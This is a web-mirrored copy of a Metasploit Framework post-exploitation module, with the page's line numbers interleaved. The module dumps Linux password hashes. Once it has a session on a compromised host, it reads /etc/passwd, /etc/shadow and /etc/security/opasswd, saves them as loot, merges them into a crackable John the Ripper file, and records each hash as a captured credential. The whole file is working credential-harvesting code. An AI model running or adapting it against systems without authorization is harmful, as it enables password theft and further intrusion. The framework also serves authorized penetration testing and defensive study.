Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/hashdump.rb
21545 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
15
'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
16
'License' => MSF_LICENSE,
17
'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
18
'Platform' => ['linux'],
19
'SessionTypes' => ['shell', 'meterpreter'],
20
'Notes' => {
21
'Stability' => [CRASH_SAFE],
22
'SideEffects' => [],
23
'Reliability' => []
24
}
25
)
26
)
27
end
28
29
# Run Method for when run command is issued
30
def run
31
unless readable?('/etc/shadow')
32
fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'
33
end
34
35
passwd_file = read_file('/etc/passwd')
36
unless passwd_file.nil?
37
p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')
38
vprint_good("passwd saved in: #{p}")
39
end
40
41
shadow_file = read_file('/etc/shadow')
42
unless shadow_file.nil?
43
p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')
44
vprint_good("Shadow saved in: #{p}")
45
end
46
47
opasswd_file = read_file('/etc/security/opasswd')
48
unless opasswd_file.nil?
49
p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')
50
vprint_good("opasswd saved in: #{p}")
51
end
52
53
# Unshadow the files
54
john_file = unshadow(passwd_file.to_s, shadow_file.to_s)
55
return if john_file == ''
56
57
john_file.each_line do |l|
58
hash_parts = l.split(':')
59
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
60
61
if jtr_format.empty? # overide the default
62
jtr_format = 'des,bsdi,crypt'
63
end
64
65
credential_data = {
66
jtr_format: jtr_format,
67
origin_type: :session,
68
post_reference_name: refname,
69
private_type: :nonreplayable_hash,
70
private_data: hash_parts[1],
71
session_id: session_db_id,
72
username: hash_parts[0],
73
workspace_id: myworkspace_id
74
}
75
create_credential(credential_data)
76
print_good(l.chomp)
77
end
78
79
# Save passwd file
80
upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')
81
print_good("Unshadowed Password File: #{upasswd}")
82
end
83
84
def unshadow(pf, sf)
85
unshadowed = ''
86
sf.each_line do |sl|
87
pass = sl.scan(/^\w*:([^:]*)/).join
88
89
next if pass == '*'
90
next if pass == '!'
91
92
user = sl.scan(/(^\w*):/).join
93
pf.each_line do |pl|
94
next unless pl.match(/^#{user}:/)
95
96
unshadowed << pl.gsub(/:x:/, ":#{pass}:")
97
end
98
end
99
100
unshadowed
101
end
102
end
103
104